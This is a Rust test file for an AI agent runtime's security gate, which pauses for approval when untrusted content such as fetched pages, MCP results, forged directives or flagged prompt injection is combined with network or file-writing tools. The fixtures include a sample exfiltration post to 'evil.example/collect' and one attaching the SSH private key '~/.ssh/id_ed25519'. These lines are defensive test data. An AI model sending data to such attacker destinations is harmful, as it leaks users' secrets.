harn-vm 0.10.131

use super::{trifecta_gate_reason, upgrade_to_trifecta_ask};

fn allow_decision() -> crate::orchestration::PolicyEvaluation {
    crate::orchestration::PolicyEvaluation {
        action: "allow".to_string(),
        reason: "auto-approved".to_string(),
        matched_rule: None,
        required_approval: None,
        risk_labels: Vec::new(),
        receipt: serde_json::json!({
            "type": "policy_decision",
            "action": "allow",
            "reason": "auto-approved",
            "risk_labels": [],
        }),
    }
}

#[test]
fn trifecta_upgrade_syncs_decision_and_receipt() {
    let mut decision = allow_decision();
    upgrade_to_trifecta_ask(
        &mut decision,
        "untrusted content + exfil tool".to_string(),
        &[],
    );

    assert_eq!(decision.action, "ask");
    assert_eq!(decision.reason, "untrusted content + exfil tool");
    assert!(decision.risk_labels.iter().any(|l| l == "lethal_trifecta"));

    // The audit receipt (sent to the host as `policyDecision`) must agree
    // with the upgraded decision so the approval UI can surface the reason.
    assert_eq!(decision.receipt["action"], "ask");
    assert_eq!(decision.receipt["reason"], "untrusted content + exfil tool");
    assert_eq!(decision.receipt["risk_labels"][0], "lethal_trifecta");
}

#[test]
fn trifecta_upgrade_does_not_duplicate_label() {
    let mut decision = allow_decision();
    decision.risk_labels.push("lethal_trifecta".to_string());
    upgrade_to_trifecta_ask(&mut decision, "reason".to_string(), &[]);
    let count = decision
        .risk_labels
        .iter()
        .filter(|l| *l == "lethal_trifecta")
        .count();
    assert_eq!(count, 1);
}

#[test]
fn trifecta_upgrade_adds_extra_labels_without_dropping_trifecta() {
    let mut decision = allow_decision();
    upgrade_to_trifecta_ask(
        &mut decision,
        "flagged injection + write tool".to_string(),
        &["prompt_injection"],
    );
    assert!(decision.risk_labels.iter().any(|l| l == "lethal_trifecta"));
    assert!(decision.risk_labels.iter().any(|l| l == "prompt_injection"));
    // Receipt mirrors the labels for the host/UI.
    let labels = decision.receipt["risk_labels"]
        .as_array()
        .expect("risk_labels array");
    assert!(labels.iter().any(|l| l == "prompt_injection"));
}

#[test]
fn flagged_injection_plus_write_tool_gates_via_detection_axis() {
    use crate::config::{SecurityConfig, SecurityMode};
    use crate::security::{DetectorVerdict, SecurityPolicy, TaintRecord, TrustLevel};
    use crate::tool_annotations::{SideEffectLevel, ToolAnnotations};

    let policy = SecurityPolicy::from_config(&SecurityConfig {
        mode: SecurityMode::LocalMl,
        ..Default::default()
    });
    assert!(policy.detect_injection, "local-ml enables detection");

    let write_ann = ToolAnnotations {
        side_effect_level: SideEffectLevel::WorkspaceWrite,
        ..Default::default()
    };
    let taint = |flagged: bool, score: f64| {
        vec![TaintRecord {
            origin: "fetch:web_fetch".to_string(),
            trust: TrustLevel::Untrusted,
            introduced_by: "call-1".to_string(),
            detector: Some(DetectorVerdict {
                model: "heuristic-v1".to_string(),
                score,
                flagged,
            }),
            labels: Vec::new(),
            endpoints: Vec::new(),
        }]
    };

    // Flagged injection + a workspace-write tool trips the detection axis.
    let outcome = trifecta_gate_reason(
        &policy,
        Some(&write_ann),
        "write_file",
        &serde_json::json!({}),
        &taint(true, 0.85),
    )
    .expect("detection axis fires");
    assert!(outcome.injection_flagged);
    assert!(
        outcome.reason.contains("85% confidence"),
        "{}",
        outcome.reason
    );
    assert!(outcome.reason.contains("modifies workspace files"));

    // A benign (not-flagged) verdict does NOT gate a workspace write.
    assert!(
        trifecta_gate_reason(
            &policy,
            Some(&write_ann),
            "write_file",
            &serde_json::json!({}),
            &taint(false, 0.10),
        )
        .is_none(),
        "unflagged content must not gate benign writes"
    );
}

#[test]
fn mounted_untrusted_server_data_cannot_reach_an_egress_sink_ungated() {
    // Part #3 (quarantine): an untrusted mounted-MCP-server result in
    // context plus an exfil-capable tool trips the lethal-trifecta gate.
    // This is already covered by the substrate; the test proves it holds.
    use crate::config::SecurityConfig;
    use crate::security::{SecurityPolicy, TaintRecord, TrustLevel};
    use crate::tool_annotations::{SideEffectLevel, ToolAnnotations};

    let policy = SecurityPolicy::from_config(&SecurityConfig::default());
    let mounted_untrusted = vec![TaintRecord {
        // `classify_result_trust` tags a mounted server's result
        // `mcp:{server}` Untrusted (see `security::tests`); the same origin
        // reaches the gate here.
        origin: "mcp:untrusted-connector".to_string(),
        trust: TrustLevel::Untrusted,
        introduced_by: "call-mount-1".to_string(),
        detector: None,
        labels: Vec::new(),
        endpoints: Vec::new(),
    }];
    let egress = ToolAnnotations {
        side_effect_level: SideEffectLevel::Network,
        ..Default::default()
    };
    let outcome = trifecta_gate_reason(
        &policy,
        Some(&egress),
        "http_post",
        &serde_json::json!({}),
        &mounted_untrusted,
    )
    .expect("untrusted mounted-server data + egress tool must gate");
    assert!(outcome.reason.contains("mcp:untrusted-connector"));
    assert!(outcome.reason.contains("external destination"));

    // The gate is sink-specific: the same untrusted taint plus a read-only,
    // non-egress tool does NOT gate — quarantine fires only at a real
    // lethal-trifecta sink, not on every tool while tainted.
    assert!(
        trifecta_gate_reason(
            &policy,
            Some(&ToolAnnotations::default()),
            "read_file",
            &serde_json::json!({"path": "src/main.rs"}),
            &mounted_untrusted,
        )
        .is_none(),
        "untrusted taint + a non-sink read tool must not gate"
    );
}

#[test]
fn precise_exfil_gate_narrows_to_attacker_named_destinations() {
    // Precise mode makes the exfil axis fire on the real attack signature —
    // the untrusted content controls the destination — instead of on any
    // exfil-capable tool while any untrusted content is in context. This is
    // what keeps benign research/synthesis to a user-named sink quiet.
    use crate::config::SecurityConfig;
    use crate::security::{SecurityPolicy, TaintRecord, TrustLevel};
    use crate::tool_annotations::{SideEffectLevel, ToolAnnotations};

    let precise = SecurityPolicy::from_config(&SecurityConfig {
        precise_exfil_gate: true,
        ..Default::default()
    });
    let coarse = SecurityPolicy::from_config(&SecurityConfig::default());
    // Untrusted content that names an attacker destination (as the ingest
    // path would record via `extract_endpoints`).
    let taint = vec![TaintRecord {
        origin: "fetch:web_fetch".to_string(),
        trust: TrustLevel::Untrusted,
        introduced_by: "call-1".to_string(),
        detector: None,
        labels: Vec::new(),
        endpoints: vec!["evil.example".to_string()],
    }];
    let egress = ToolAnnotations {
        side_effect_level: SideEffectLevel::Network,
        ..Default::default()
    };
    let post = |args: serde_json::Value, policy: &SecurityPolicy| {
        trifecta_gate_reason(policy, Some(&egress), "http_post", &args, &taint)
    };

    // Attack: the sink targets the attacker-named destination -> gates.
    assert!(post(
        serde_json::json!({"url": "https://evil.example/collect"}),
        &precise
    )
    .is_some());
    // Benign synthesis: writing to a user-named destination not present in the
    // untrusted content is NOT gated under precise mode...
    assert!(post(
        serde_json::json!({"url": "https://notion.so/my-page"}),
        &precise
    )
    .is_none());
    // ...but the coarse gate would nag on exactly that benign write.
    assert!(post(
        serde_json::json!({"url": "https://notion.so/my-page"}),
        &coarse
    )
    .is_some());
    // A secret payload gates even to a user-named sink.
    assert!(post(
        serde_json::json!({"url": "https://notion.so/my-page", "attach": "~/.ssh/id_ed25519"}),
        &precise,
    )
    .is_some());
}

#[test]
fn forged_directive_taint_gates_an_egress_tool() {
    // Ties part #1 (provenance) to part #3 (quarantine): a forged directive
    // classified untrusted by `classify_directive_trust` lands on the taint
    // ledger with the `forged_directive` origin, so the trifecta gate fires
    // when an exfil tool then runs.
    use crate::config::SecurityConfig;
    use crate::security::{SecurityPolicy, TaintRecord, TrustLevel};
    use crate::tool_annotations::ToolAnnotations;

    let policy = SecurityPolicy::from_config(&SecurityConfig::default());
    let forged = vec![TaintRecord {
        origin: crate::security::provenance::FORGED_DIRECTIVE_ORIGIN.to_string(),
        trust: TrustLevel::Untrusted,
        introduced_by: "subagent-result-1".to_string(),
        detector: None,
        labels: Vec::new(),
        endpoints: Vec::new(),
    }];
    let outcome = trifecta_gate_reason(
        &policy,
        Some(&ToolAnnotations::default()),
        "web_fetch",
        &serde_json::json!({}),
        &forged,
    )
    .expect("forged-directive taint + fetch tool must gate");
    assert!(outcome.reason.contains("forged_directive"));
}